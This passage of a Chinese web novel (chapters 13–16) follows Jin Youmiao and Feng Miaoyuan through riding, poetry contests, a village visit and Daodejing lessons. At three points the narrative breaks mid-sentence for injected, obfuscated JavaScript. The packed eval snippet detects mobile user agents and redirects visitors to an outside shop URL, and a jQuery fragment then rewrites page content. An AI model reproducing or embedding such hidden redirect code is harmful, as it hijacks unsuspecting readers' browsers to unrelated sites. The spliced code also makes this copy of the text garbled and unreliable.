龚映兰听见冯妙元喊她，立马出来问道：“有妙哥哥是谁？”。冯炳章说道：“是我要好的同学”。冯映兰一听，说道：“改天让你阿爹去学堂抄书房拿一本就是了”。冯妙元一听，说道“阿爹啥时候回来，还不知道呢，不行，我明天就要给他”。话说冯玄真平时在金山学堂主持一些事，在县城家里呆的时间很少。所以冯妙元有此一说。 龚映兰讴不过她，就说：“那明天让你哥哥带给他，你阿爹回来了，再给你学堂拿一本”。就这样，冯炳章第二天把冯妙元的道德经带给了他。 金有妙拿到书，迎面扑来淡淡的香味，封面赫然写着“道德经”三个大字，一行小字是“冯妙元独本”五个字，字体有力而不失灵秀。这是他梦寐以求的书，他用心保护着，且不舍昼夜的研读。不觉时间过了五年了…… 13. 吴远航家梅灵住宿，策马扬鞭妙元识人 话说这五年来，妙赞国有什么变化，那就是换了新国王。新国王为了改变国家多年进口丝线的不利局面。出台了女子可以进学堂的政策。学的好的学员，由道学督办推荐，做专门养蚕的官员。因为是第一期，所以几乎是免学费的，自己出点笔墨纸砚的钱就可以。年龄满十二都可以报名。 金朵这年十五岁，金梅，金灵这年十四岁，她们都报了这样的班。但是学堂不提供宿舍。金梅和灵儿只能在县城私人家，租一个房子居住。吴远航本就是金山村人，金志海寻了他家，让金梅和金灵住他家，一个孩子一月10量钱。金朵和金有妙住县衙，金春海也给他们也换了一个大的套间。 话说吴远航有三个孩子，老大叫吴宽勇，这年十八岁。老二叫吴宽海，这年十五岁。老三女孩叫吴宽杏，今年十二岁。他们三个本就是鹿泉学堂的学生，也会教金梅，金灵吟诗作赋。一来二往的都就混的熟悉了。 金有妙这五年来，潜心研学道德经。虽然和吴家兄弟多有来往，也不是很熟的深交。再说了，冯妙元隔三差五的就找金有妙给她讲道德经，他也没太多时间和别人交往。但是后来，因为金灵金梅住他们家的原因吧，他们都成可无话不谈的朋友。 要说金山村有什么变化的话，就是赵如意的二弟赵如宝学艺回来，在上葫芦寨下坡沟里开了一家烧窑坊。金凤，金萍远嫁他乡。吴宽良娶了冯秀莲。李晴生了一个女孩名金珠，已经五岁。赵刚给冯虎家干活，愈发的仗势欺人。金有军和金宝琴也是换亲，已经成家。金有辉和金有平，走街串巷，又拾起了爷爷的营生等等不可尽数。 要说鹿泉县有什么变化的话，就是冯炳章和冯妙元在暑寒两假，都会去国家马场学习骑马。这骑马是国家最近三年才实行的政策，是为了应对边民被游族侵扰。看来国家又在准备着对游族的战争。 话说这数千里的黄土覆地的北面，是荒漠和草原衔接的地带。那里生活的人们，逐草而居，牛羊为食。他们经常在妙赞国边地村镇，快马掠夺，又急马而去。新国王急切的推出养蚕计划，就是为省下以前换丝线的钱，用来换马。 国家马场，就设在傍河镇，因为这里隐蔽在很大的沟里，比较隐蔽。但沟里面又是一马平川，容易跑马，鹿泉河饮马也方便。 马场被一片杨树林围了很大的一个带状圈，圈比鹿泉县城还要大，沿着鹿泉河上游绵延。树与树之间用藤绳网连，马匹也跑不出去。今年十二岁的冯妙元骑马，那真是英姿飒爽，美丽绝伦，开合有度，勒缰自如，犹如仙女下凡。可谓是：“急风过影，仙袂挽裙带。悬缰立马，钗环接护甲。吆马时，灵鸟杨树三两声。行影处，暖阳数杏吐芬芳。 现在是夏天，冯炳章，冯妙元又过来骑马。和他们一起的有吴宽勇，吴宽海，方祖蕊，李承乾，李承坤，以及瑞王的一儿一女，道国昌和道国薇。 在妙赞国，不管哪家姓当国王，都会改成道姓，这样道姓永远是国姓，也就大大降低篡逆的概率。这是“道”无为而治的又一个巧妙性设计，这不是一个家天下的制度。大家考察谁贤能，就会被国王认做义子，赐道性。道姓子弟中，大家考察谁贤能，就会被选太子，继承王位。所以，道姓子弟，很少有纨绔子弟。这就是为什么妙赞国屹立千年不倒的原因。 话说这瑞王，本姓陈，叫陈海堂。武术世家，有一年妙赞国战急，急从民间招了一批武术家族，其中就有他家。开战数年，他有幸得还，被赐国姓，在与当今国王的比贤大会上，他因治国理念不明晰，败了下来，封为瑞王。道国昌今年十六岁，道国薇今年十三岁。 闲话不述了，话说他们几个一起骑马游玩。冯妙元最是喜欢策马奔腾了。也就甩开队伍自己疾驰追风去了，一直跑到了鹿泉河边，看见有一白衣少年，洗脸挽裤，应该不比自己大多少。 就问道：“你是那来的憨生，这里是马场，你不怕把你踩扁喽”。白衣少年回道：“你一个女儿都不怕，我怕啥？”。冯妙元回答道：“我有马，那你的马呢”。白衣少年回道：“姑娘你牵的就是啦”。 冯妙元一听，说道：“哦！我明白了，原来是个抢马贼，你是看我女儿身的，好欺负是吧，那你过来，我看看”。白衣少年一听，径自走了过去。冷不防的被冯妙元一个旋身侧转，绊腿横推，放倒在地，四肢趴地，像一直王八，冯妙元笑的前俯后仰。 白衣少年侧身起来，后让了三步说道：“小孩子家家的，咋还这么有力气，等会你就知道了，是不是我的马了。我可知道你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156635|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁？”。冯妙元说道：“那你说我是谁啊”。白衣少年说道：“我知道姑娘是冯家四姐，妙赞国的国花，不仅仅我知道，妙理城国姓王爷中都知道”。 冯妙元一听，就知道是经常和他一起练马的道国昌这个碎嘴子传的谣。因为她从来没去过妙理城，王爷们怎么会认识她呢。所以，除了他不会有别人。就知道这个人最底也是个王爷。想到这里，她也收敛了许多，说道：“今天算你走运，我早上吃的少了。要不然，有你脱一层皮的”。说完，转身就要走。 白衣少年一看，急了，说道：“你得把马留下，要不然我怎么回去”。冯妙元一听，略显惊讶的说道：“你还真抢啊？我的马为何要给你留下？你怎么回去，管我什么事呢？”。说完径直的走了开去，看见迎面走来了他们几个。 他们几个转眼就迎了上来。道国昌看见白衣少年，下马前迎了上去，问道：“太子，你这是咋了，咋泥成这样？”。在妙赞国，以道御国，没有太多繁琐缛节，不需要叩拜啥的。白衣少年说道：“你问她”，说话间，瞟了冯妙元一眼。 还没等道国昌开口说话呢，冯妙元揪住他的耳朵说道：“你给我传的什么谣？”。道国昌很纳闷，说道：“你这是欺负完他又欺负我，你是欺负上瘾啊，我传什么谣了？”。冯妙元马鞭指了一下白衣少年，说道：“你问他”。道国昌看着白衣少年说道：“你们俩第一次见面就把我出卖了，你给她说了啥？”。白衣少年说道：“就说了你给我说的她是国花”。道国昌一听急了，说道：“你这回子了，都不忘出卖我啊，你可真是我的好哥们”。 然后又紧接着给冯妙元说道：“姑娘本来就是国花嘛，我又没说错，咋是传谣呢”。冯妙元一听，放开了他，说道：“他还想抢我马呢”。道国昌说道：“我也是顺便过来接他的，他是来这里体察生活的。他治理国家或许比我们都强，这上马的活他是不行的了，国王让他过来体验的”。冯妙元一听，说道：“关键是他骑谁的马呀？”。道国昌说道：“你们俩骑一个吧”。冯妙元一听急了，说道：“看我不打死你个碎嘴子”，说完一溜烟的前面跑开了。 冯妙元跑开了以后，只能让方祖蕊和冯炳章骑一个，白衣少年骑方祖蕊的马，就回了鹿泉县。 14. 居远航朵灵对诗，过傍河妙元下乡 话说冯妙元一行人，来到鹿泉县，把马拴到学院外，就进了学院休息。放暑假的学院，本来也没什么人，他们就来到了一个大树底下乘凉，没事胡乱对着诗玩。大树底下有木桩制成的桌凳。冯炳章带着白衣少年去换衣服去了。 冯妙元问道：“那个穿白衣服的太子叫啥啊？”道国昌回答道：“他叫道国元，今年十五岁，比我小一岁”。冯妙元一听，喃喃自语道：“又一个和我同字的”。道国昌说道：“同字什么意思呢”。冯妙元回答道：“就是和我的名元字相同”。道国昌轻描淡写的回道：“妙赞国名字取元字的，那不还得成千上万呢，这有啥稀奇的呢”。 道国昌继续说道：“当今国王，他本来不是妙赞国出生的。他是东边蚕盛国的王子，因为兄弟争权，跑到了咋们这里。就因为养的一手好蚕，又著有蚕道一书，被赐了国姓。三年前，他和我父亲辩论治国的时候，以蚕入道，讲了藏富于民的道理，诸有《蚕道富国论》的奇书。他是儒家治国的亲身受害者，故而以儒家的弊端又完善了咋们国家的权利制度。才有这几年明显的国家力量的强大”。 冯妙元听到这里，抢着说道：“是比以前更加开放自由了，马匹，马车的出行，现在街上也是随处可见了”。 道国昌继续说道：“在权利制度设计上，他还写了一本叫《道行化微》的书，是国姓子弟学的，你们见不到的”。 冯妙元问道：“我们国王叫啥名字？蚕盛国你去过吗？”。 道国昌说道：“我们国王叫道守平，本是蚕盛国王盛海涛的老三，盛海涛去世以后，老二盛秋丰继位，迫害众弟兄，他叫盛秋有，就跑我们这里了。蚕盛国我没去过，听说有一条河，叫蚕桑河，北向南流入夏河。蚕桑河全境，听说就是他们国土了”。 冯妙元又问道：“太子道国元是有如何本事选为太子的？”。 道国昌说道：“你可别小看他，我们这些国姓子弟都有评选太子的资格，怎么唯独是他呢，现在我们国家，就是女孩子，只要赐了国姓，也有选太子的资格了，你莫不是想当国王，问这么详细”。话说道这里，道国元和冯炳章回来了。道国昌就没有继续说。 回来以后，道国元选了个凳子坐了下来。冯妙元问哥哥：“为什么去这么久？”。冯炳章说道：“他要看你写的诗，就耽搁了”。冯妙元说道：“你那里能有几首呢，要看找本人才行呢”。说完话以后，不谦虚的看了道国元一眼。道国元憨笑着背过了脸，不敢看她。 话说金有妙和金朵，金灵这个暑假，刚放假没几天，就打算回金山寨帮父母去干活。冯炳章约了个日子大家聚一聚再回去。到了这天，他们就约在吴远航家里，知道是冯玄真家人，他们也不敢怠慢，做了很丰盛的一桌子酒菜。 吴远航说道：“该理说你们上学不能喝酒，这假期难得一聚，少喝几口高兴下也没啥问题”。说着就给大家都满了一盅，吴宽杏和冯妙元十二岁，也就没倒。冯妙元抢着要喝，就也倒了一盅。 冯炳章自从金山聚餐以来，也学冯秀莲一样，各处搜集了好多谜语，就说：“我们说谜语。我出谜，答不上来的你们喝，答上来就我喝”。冯妙元自然是不干，就说道：“我们做诗，谁做不出来谁喝，做的不通也喝，这样公平”。大家都同意了。 然后冯妙元就说道：“我们就先以‘酒’为题开始吧，我先说”。紧接着她说道：“五谷丰登盛，琼浆玉液流。月影杯中醉，仙娥世上游”。随着桌子转，紧接着就是吴宽杏，吴宽杏说道：“五谷丰登盈，琼浆玉液有。月影杯中碎，仙娥世上走。” 冯妙元一听，说道：“不行，你这是学我呢，喝酒，用大杯茶代替”。吴宽杏喝完，听见金有妙说道：“杏红蜜蜂在，花粉酿做酒。欲借一盅尝，醉来与风舞。冯妙元一听，哈哈笑道：“花粉酿的那是密，怎么会是酒呢？就算是酒，一杯能醉人啊，我看有妙哥哥是甜的吧，不通！来喝酒”。金有妙解释道：“古来就有桃花酒，杏花酒，你咋不知道呢”。冯妙元说道：“那都是人酿的，蜜粉酿的就是蜜”。说完“哈哈”的笑了。说道：“有妙哥哥你快喝”。金有妙喝了一杯。 完了轮到金朵，金朵说道：“无字不成书，无酒不成席。杏酒高粱酒。诗酒共一杯”。完了冯妙元说道：“姐姐这是掉到酒窝里了，还怎么看书呢？不通，喝一杯”。朵儿抿了一口，就轮到金梅了。只听见金梅说道：“美味碗中菜，清凉杯中酒，胜似人间夏热天”。冯妙元一听：“姐姐做的，义理是通了一点，不押韵，也喝一杯”。完了金梅也喝了一杯。紧接着是金灵，金灵说道：“冬山观雪雾，夏窗听雨声。闲来酒中话，年年有今丰”。冯妙元一听，这是祝福的话语，就没有反驳她，说道：“做的真好，我陪姐姐一起喝一杯”。冯炳章立马说道：“我看你是谁都叫姐姐，她俩可是姑侄呢”。冯妙元说道：“在我这里比我大的都是姐姐”。 轮到冯炳章，冯炳章说道：“我知道不管我怎么说都是我喝，我还是先喝一杯算了”。说完喝了一杯。轮到吴宽勇，他说道：“酒置夕阳人满志，惊起飞鸟赶余辉。男儿就应鞍马上，不恋俊霞不恋醉”。冯妙元平时和他一起练马，知道她骑术最好，将来大概是个国家武备的人才，也不敢调侃他，说道：“很妙，我敬哥哥一杯”。然后一饮而尽。 轮到吴宽海和万祖蕊她俩，还没等吴宽海说呢，万祖蕊就抢着说道：“妙儿姐帮我做一个”。冯妙元说道：“那你们俩直接喝一个，不做了也行呢”。然后他俩就各自喝了一盅。就这样，眼看天气渐晚，他们就各自散去了。 第二天，金有妙，金朵，金灵，金梅他们顾了一辆马车到傍河镇，然后打算步行上山，再绕几道山梁也就到金山村了。这样可以节省一些钱。马车到傍河镇时，他们刚好看见冯妙元和冯炳章练马在镇上闲逛。妙元一看，高兴坏了，说道“我也要去，哥哥回去告诉阿母，我去金山村找阿爹了，让他不用担心”。冯炳章一听，知道妹妹决定的事阻止不了，也就答应了。 可是只有一匹马，他们五个人，冯妙元说道：“有妙哥哥，我们骑一匹马先走，我还很多问题问你呢，金朵姐姐他们慢慢来吧”。虽然感觉不妥，金有妙也没过多犹豫什么，反而把事情弄尴尬。就这样，金有妙坐冯妙元后面，骑马先行了。 冯妙元问道：“道德经里说，小国寡民，要不要使国家大起来，如果大起来了，又如何治理呢？”。金有妙回答道：“人的身体要正常工作，那比国家正常运行要复杂好多倍不止。你看身体是怎么正常工作的呢？”。冯妙元回答道：“用六根眼耳鼻舌身意互相配合来正常运行”。金有妙反问道：“你知道为什么六根不争权呢？”。冯妙元回答道：“它们本就是道自己本身”。金有妙说道：“是哒，就是这个道理，国家变大不怕，分六域而御之，六御之主即为国家之主，则国不乱”。冯妙元问道：“怎么才能实行六域之主为国家之主呢？”。金有妙回答：“就像眼耳鼻舌身意一样，只因不知有道，所以能正常工作。六地之主若不知有王，就能行为国家主人。不会私我而奉上级”。 金有妙说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156636|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完，一阵夏风吹过，从冯妙元那里散发的气息，比金山村的春杏还让人着迷，香气扑鼻而入。金有妙说道：“这风吹过来真的好香啊，没想到骑马这么好玩”。冯妙元只是一笑，没有说话。 转眼他们来到了山梁，梁上开满了很多狗蹄子花儿，这是农人的叫法，不知道学名叫啥。冯妙元看见满山零洒的的花朵，说要下马摘一些。金有妙就跟着她上了山梁。冯妙元很是开心，来来往往的摘了好多。话说这种花，它的秸秆很长很柔软。可以用来编花冠。金有妙说道：“你把花给我，我教你怎么玩”。然后冯妙元把花给了金有妙，金有妙不一会就编出了一个花冠，戴在了冯妙元的头上。冯妙元问金有妙：“有妙哥哥，好看吗？”。金有妙回答道：“好看，真好看”。冯妙元继续说道：“可惜忘带镜子了，要不然我也可以看看”。 他们并排的坐在山梁最高处，冯妙元甩打着马鞭，说道：“这里好美啊”。远处山头上白云悠闲的飘荡着，一阵遮住了太阳，一阵又放开了太阳，层峦叠嶂的山头，斑斑点点的点缀着无数流动的影子。影子不时的流过他们的身处。也让夏热的山头有了些许期待。冯妙元枕着金有妙的胳膊说道“这白云的影子为什么不一直留在这里呢？，这样就不热了，我们可以一直坐在这里”。 一阵轻风吹过，撩起了冯妙元的长发，她圆圆的脸蛋更加迷人。青丝舞动的节奏就像听到了美妙的音乐。从不曾散失的香味就像置身于花的海洋。冯妙元抬头望向金有妙，说道：“有妙哥哥，你想什么呢？”。金有妙若有所思的回答道：“美好的东西，就如同这不曾驻足的云影，你如此美丽，怎叫人割舍”。冯妙元说道：“哥哥，你是一个明道的贤人，怎么能期待世俗的无常呢？你的妙元妹妹，与道同在”。 远处的禾苗，正是葱绿的时候，泼洒在山坡上，豌豆花，苜蓿花，点缀在绿装丛中，很是壮观。农人的烟囱中，时不时的会冒出一缕青烟，直上云霄。应该是带走了农人的酸甜苦辣，悲欢离合。但带不走有妙的相思和恐惧。这五年的悟道，或许就像妙元说的那样，他不再怕失去，但眼前的她，怎能割舍。 布谷鸟的鸣叫声，时不时的从某个角落传出，荡满整个山谷。乌鸦成群结对的掠过一道道坡埂，传出“嘎！嘎！”的叫声。有妙不由的抓住了她的手，凝往着远方。就像父亲接他入城时那般。他才知道，有些事，提起来了，就不容易放下。就好像只有妙元纤纤玉手的热温，才能诠释道的永存。 金有妙轻轻的捏了一下她的手，说道：“走，我带你去吃好吃的”。冯妙元头离开了他的胳膊，说道：“走，你拉我起来”。他们来到了一处豌豆地，这个季节，豌豆的青荚是直接可以吃的。金有妙说道：“来，我教你怎么吃”。他把豌豆荚拿在左手上，平立起来。然后用右手的大拇指在中间棱线处一挤压，豌豆荚裂了开来。中间露出六七个青色豌豆，放到嘴里，甘甜多汁。然后把豌豆荚壳反过来一剥，最外面的青皮就会剥下来，再放到嘴里。这样，一个豌豆荚就吃完了。冯妙元学着他的动作做了起来，看出来她吃的非常开心。他们一边吃，一边给兜里装。装的没地方装了，冯妙元拉着金有妙的手说道：“走啊，装不下了”。露出一脸满意的神态。 他们来到栓马的大树下，金有妙说道：“我能坐前面试一试吗？”。冯妙元说：“马这东西，会认生，你还是坐后面吧。咋滴！你怕搂到我呀，我不怕你怕啥呢”。金有妙晦涩的笑了一下，没有说话，扶妙元上了马，他坐在了后面。一马双人，隐没在山梁之中…… 15. 妙元闲逛金家院，拔豆妙讲道德经 走过几个山梁，有妙和妙元来到了金山村。他们先是到了金山学堂，金有妙带她穿过右边花圃的小路，看见金志海给几个孩子识字。金志海也看见了他们，还是没好气的问道：“你们是来干什么的？”。 金有妙回答道：“冯妙元找她阿爹来的”。金志海虽然没见过冯家老五，但他是知道的，就说：“把马给我，你们往里面走，进入会客厅，穿过那个后门回廊，就是到了”。 金有妙带着妙元来到回廊的尽头，看见有个门，上面写着道专督办，说道：“你进去，我就不进去了，我在识字的那里等你”。 妙元推门进去，看见冯玄真在写字。冯玄真一听有人推门进来，习惯的抬头一看，是冯妙元。他有点惊讶的问道“妙儿，你是怎么来的？”。冯妙元说道：“等阿爹接我，我就看不到一路这么好的风景喽”。冯玄真假装嗔色道“给阿爹怎么说话呢，都是你阿母把你宠坏了”。 冯妙元笑道：“反正已经来了，你不收也得收”。说完话，脸略带委屈，笑的也不自然。 冯玄真见装，赶紧迎了上去，抱起了她。冯妙元眼泪“唰”的流了出来。冯玄真给她擦拭眼泪说道：“你都来了，见到阿爹了，咋还哭上了，不哭了，别让别人看到了笑话，等会让厨房给你做两个好吃的菜”。 冯妙元大眼睛一眨巴，挤了两滴斗大的泪珠子。尽然好了，不哭了，一阵清脆的笑声从她喉咙自然流出。说道：“是有妙哥哥带我来的，你得奖励他”。冯玄真说：“嗯嗯，奖励他”。冯玄真接着说道：“你让他带你在附近熟悉一下，别走远了，晚上回来吃饭”。冯妙元回答着“嗯”跑出了房间。 冯妙元来到识字树下，看见金有妙坐在几个孩子中间，她也就过来坐下了。金志海不在，估计喂马去了。 金有妙问道：“见到你阿爹了？”。冯妙元说道：“嗯，见到了”。赵刚见状问道：“你阿爹是谁”。冯妙元说道：“你们的冯道办”。赵刚一听是冯东家，立马献媚道：“小姐张的真好看”。冯妙元目睛不瞪的看着他，赵刚摇头晃脑，不知所措，腿部有点打颤。 刚好金志海走了过来，金有妙介绍道：“这是我的四叔”。金妙元起身鞠躬道：“四叔好”。金志海笑的合不拢嘴，说道：“你这娃娃真乖，坐！快坐！我刚吩咐厨房给你做好吃的了，你们先去逛一逛”。 他们俩穿过一个很窄的小沟，就来到了有妙家的麦场边。来到麦场里面，冯妙元看见两颗大杏树，满满的结着杏子，起身就要去摘。金有妙一把抱住了她，说道“小心”。 冯妙元说道：“你抱我起来，那边应该能勾着”。金有妙抱起她，在杏树周围转了一圈，她也没摘到，杏树太大太高了。金有妙为了不让她失望，爬上了树，摘了几个下来。 冯妙元一口就塞进了嘴里。“咔吧”一声脆响，金有妙听着就酸。更别说妙元吃了。“哇！哇！”她吐了两滴口水，说道：“阿爹，酸死了”。 金有妙说道：“这个月份还没熟黄呢，为了不让你失望嘛，你试下就知道了，就不失望了”。冯妙元说道：“你说了我就信，不会失望的”。 他们推开院门，来到了金家的老院子。进入院门左边，就是一个上房，看起来很破旧，应该有三四十年了。 推门进入，里面烟熏的墙壁都是黑色的网尘。左边是一个炕，炕上有一个桌子，炕的边上立着一个支撑房梁的柱子。柱子上用铁丝绑着一个灯盘，里面有一点黑色的油质，一团麻线灯芯露头在外面。旁边坐着一个近乎憔悴的像老人的人。拄着一个树枝随便削的拐棍。衣服破烂，弯腿拱腰。冯妙元看到这里，“涮”的一下，斗大的眼泪滚落了下来。 再往右看，是几个装东西的袋子，凌乱的堆在墙角。还有一个尿盆，边缘垢的泛黄。外表也是落着黑色的网尘。黄土的房地上，立着一个痰盂。 在往里面一点，炕的上边缘是一个储物的空间，零散的摆着一斗黑灰色的面，几个土豆。冯妙元再也忍不住了，强掩着泪水跑出了房间，在院子里哭的不能自持。 妙妙母亲杨氏拄着拐杖，步履蹒跚的走到院子里，说道：“妙儿，你回来也不会招呼人家，把人家气哭了”。 金有妙说道：“我在这里，不也长大了嘛，不要哭了”。金妙元一头扎进他的怀里，再也不能把控自己。 就在这个时候进来一个女孩，大概十八九岁，眼神坚定，言语稀少。说道“你们吃啥呢”。金有妙回答道：“可能学堂放饭，今晚就不吃了”。一看家里也没个坐的地方，就引话题支开她，陪她到别的地方逛去了。更不敢让她再进厨房，以及妙妙和朵儿，莺儿他们睡觉的下房了。 他们逛了不一会，金朵，金灵，金梅也回来了。冯妙元就拉着他们去吃饭了。来到学堂，金梅看见金志海，说道：“阿爹，我回来了”。金志海冷淡的“嗯”了一声。冯妙元才知道，他是金梅的父亲，就是不能理解为什么如此冷淡？ 他们来到会客厅时，饭菜已经摆好了，大家都落了坐。金志海先给冯玄真敬了酒，然后大家就动筷子吃上了。只是冯妙元一直惦记着刚才金家的场景，不觉又“涮”的两行热泪流了下来。金有妙就坐她旁边，在桌子底下偷偷的抓住她的右手，用力的“捏”了两下，她赶紧用衣袖擦去了泪水，拿起了筷子赶紧吃了起来。冯妙元是个“左撇子”，吃饭都是用左手。 吃完饭以后，冯玄真带冯妙元去了冯堂家，金有妙，金朵，金灵来到了金有田家里。金有田说道：“扁豆黄熟了，我们明天去拔，今晚早点睡”。还是金朵和金灵并刘氏一起睡，金有妙和金有堂并金山海一起睡。金有田这个时候已经在隔壁上坡盖了房，分了出去。金有辉成家也分了出去。 转眼来到了第二天，天蒙蒙亮，他们就上地了。因为早上太阳没出来时，可以多干点活。金有妙家，常由于金志海县城背粮回来，所以种的少，不种扁豆，其他农作物也还没熟。所以金有妙，金朵就给金有田家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156637|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拔扁豆了。 太阳刚露脸的时候，他们看见远处走过来一个人，她就是冯妙元。金有妙见状，喊道：“妙元你是怎么找到这里的？”。冯妙元喊着答道：“我有上天遁地之能”。金有田一听，就知道这是冯玄真的最小女儿，没想到生的这么标致。赶紧说道：“这土尘飞来飞去的，你来这里做什么呢？”。冯妙元说道：“我也要拔”。金有田自然是讴不过她的，就安排她和金君宝一起后面慢慢磨工去了。 金有妙见状，也来到了后面，和她并肩一起拔。这是一个地里一蹲就是一上午的活，聊天是打发枯燥最好的办法。 金妙元问金有妙说道：“你们家为什么如此艰难？”。金有妙回答道：“我家一直是父亲每月从县城背粮回来，种的少。钱买粮了，就没钱买衣服啥的了。父亲又赞了七八年的钱买了个驴，也就没钱翻新房子。母亲到现在隔三差五的药还不能停，所以就是这样的现状了”。冯妙元说道：“哥哥，你给我讲讲道德经吧”。冯有妙说道：“你想听那一章呢？”。冯妙元说道：“就讲第一章”。 冯妙元说道：“道可，道非，恒道。名可，名非，常名。无，名天地之始，有，名万物之母，故恒无欲，以观其妙。故常有欲，以观其缴。此两者，同出而异名，同谓之玄，玄之又玄，众妙之门。 这里是说，道有可以展现的状态，道又有不可以展现的状态，这两种状态，就是恒久的道了，这两种状态都可以起名字，就是常说的知“道”了。 不可以展现的状态名无，名无者，是天地混沌的开始。可以展现的状态名有，名有者，是万物诸相的开始。 所以说，有无两种状态就是恒存的道了，道恒者无欲，可观其妙。常知者有欲，可观始终。（这里主要强调，道是没有欲的，就展现为无的状态，但觉明之性不失，妙觉可察。道以生命的状态展现知道的时候，一切有就在此欲望中产生了，随着欲望的轮转，一切有就会有开始和结束，即观缘起缘灭。这里的欲就是生命的主观贪执之性，世界就在这贪执之中产生了，生命不息，世界相续不断）。 这两者，同出于道，名字不同而已，都可以称为玄，这里玄是说，非有非无，即有即无，故说玄，究思玄义，就是道妙的门户了。” 冯妙元听了，问道：“什么是觉明之性？”。 冯有妙说道：“就是我们能听能见的那个明白”。 冯妙元问道：“明白之性就是道的话，那我们死了以后，明白之性还在，哥哥你还能明白我吗？”。 冯有妙说道：“能的，恒古不失，与道本在，你的美丽会展现成世界的一切美”。 冯妙元听完，一种平静和坦然从心底升起，也不怎么难受金家的情况了。因为，那只是表象，表象的背后，道依然展现着有妙哥哥这个人。如果他家辉煌，也就不会有今天这样的有妙哥哥了。从此，她再也没有担心过会失去这个世界以及眼前的哥哥。为人更添加了几分沉稳和坦然。 16. 元探亲良莲争吵，妙解经苜蓿扑蝶 他们拔了两个多钟头以后。冯秀珍过来叫冯妙元，说道：“我阿母让我带你去秀莲姐家拿鞋样”。金有妙一听，说道：“那你们赶紧去吧”说着接过了妙元手中的扁豆。 冯妙元和冯秀珍来到吴宽良家，看见姐姐很辛苦的在洗一大堆衣服。就问道：“姐夫去哪里了？为什么也不打个水啥的，帮个忙”。冯秀莲说道：“下地了，等会回来”。话刚说完，吴宽良就进来了。 吴宽良看见她们，也是心不在焉的说道：“元元什么时候来的？”。他或许是听秀莲这么叫着提到过这个妹妹，他也就没多想，就以一种无所谓的态度用这个称呼随便问了一句。 可是冯妙元用余光打量了他的哪种不以为是。说道：“秀珍姐看见你家狗对认识的人有三分稀罕，就逗它玩了会，刚进门”。吴宽良一听这话头，抬头看向了她，有一种无形的压迫感，曾经对付金凤时的哪种死皮赖脸无处遁形。立马毕恭毕敬的说道：“你们屋里坐，我让你姐给你们洗几个刚熟的杏子”。 冯秀莲用前襟擦了擦手上的水。准备去拿杏子洗。冯妙元问道：“姐夫你这不是闲着呢吗？”。吴宽良说道：“在我们这里，男人不干这些屋头的活”。 冯秀莲拿了杏子，不小心翻了碗，撒了一地。吴宽良见状，起身推搡道：“你咋这么笨呢，几个杏子都拿不住”。冯秀莲也不示弱，说道“我就知道我比不上金凤，你对我横挑鼻子竖挑眼，好歹不是，这那里是杏子的事”。 冯妙元见状，起身说道：“我们是来拿鞋样的，拿完我们就走，等我和秀珍姐走了以后你们再吵好不？”。然后冯秀莲也就不顶嘴了，去里屋拿了鞋样出来交给了秀珍。 拿到鞋样，冯妙元说道：“谢谢姐姐姐夫，我就不坐了”。起身就走开了，秀珍赶紧跟了出来。冯秀莲喊道：“杏子不尝一个吗？”。冯妙元喊着回道：“不了！秀莲姐”。 冯妙元他俩回来的时候，已经是中午了，就在冯堂家吃了饭。吃完饭以后，就去金灵家找金有妙了。金有田见冯妙元来了，下午就没让金有妙去拔扁豆，怕她也要一定跟着去。拔扁豆手上会弄很多勒痕的，怕她吃不了这苦，也怕给冯玄真不好交代。 下午的时候，金有妙就带着冯妙元跟着莺儿去割苜蓿了。苜蓿是专门喂养驴子的一种饲料。 来到苜蓿地，妙元硬是要试一试，结果镰刀都拿不稳，就不再尝试了。苜蓿地里有很多蝴蝶，在苜蓿花上面翩翩起舞。妙元东跑西追，去捉蝴蝶了，开心的不得了。苜蓿地里的蝴蝶不好捉，倒是蚂蚱好捉多了，金有妙从小捉它，有经验的很，就抓了一只给妙元送过去了。 妙元一看，吓了一跳，惊呼道：“这是个啥东西，这么难看”。金有妙“哈哈”笑道：“这么好看的，你从哪里看出来它难看的呢”。金妙元也清脆的笑道：“我是和哥哥对比了一下，看出来的”。然后前俯后仰的笑了起来。 金有妙说道：“好啊！你把我和蛐蛐比较，看我不打你”。说完就追着妙元去了，在妙元的胳肢窝里挠了几下，她笑的不能自持，赶紧央求道：“有妙哥哥，不闹了，我有问题问你呢”。 金有妙停下了手，说道：“有啥问题呢？”。冯妙元说道：“道德经第二章怎么理解呢”。 金有妙回答道：“天下皆知美之为美，斯恶已。皆知善之为善，斯不善已。有无相生，难易相成，长短相较，高下相倾，音声相和，前后相随，恒也。 是以圣人处无为之事，行不言之教，万物作而不辞，生而不有，为而不恃，功成而不居。夫唯不居，是以不去。 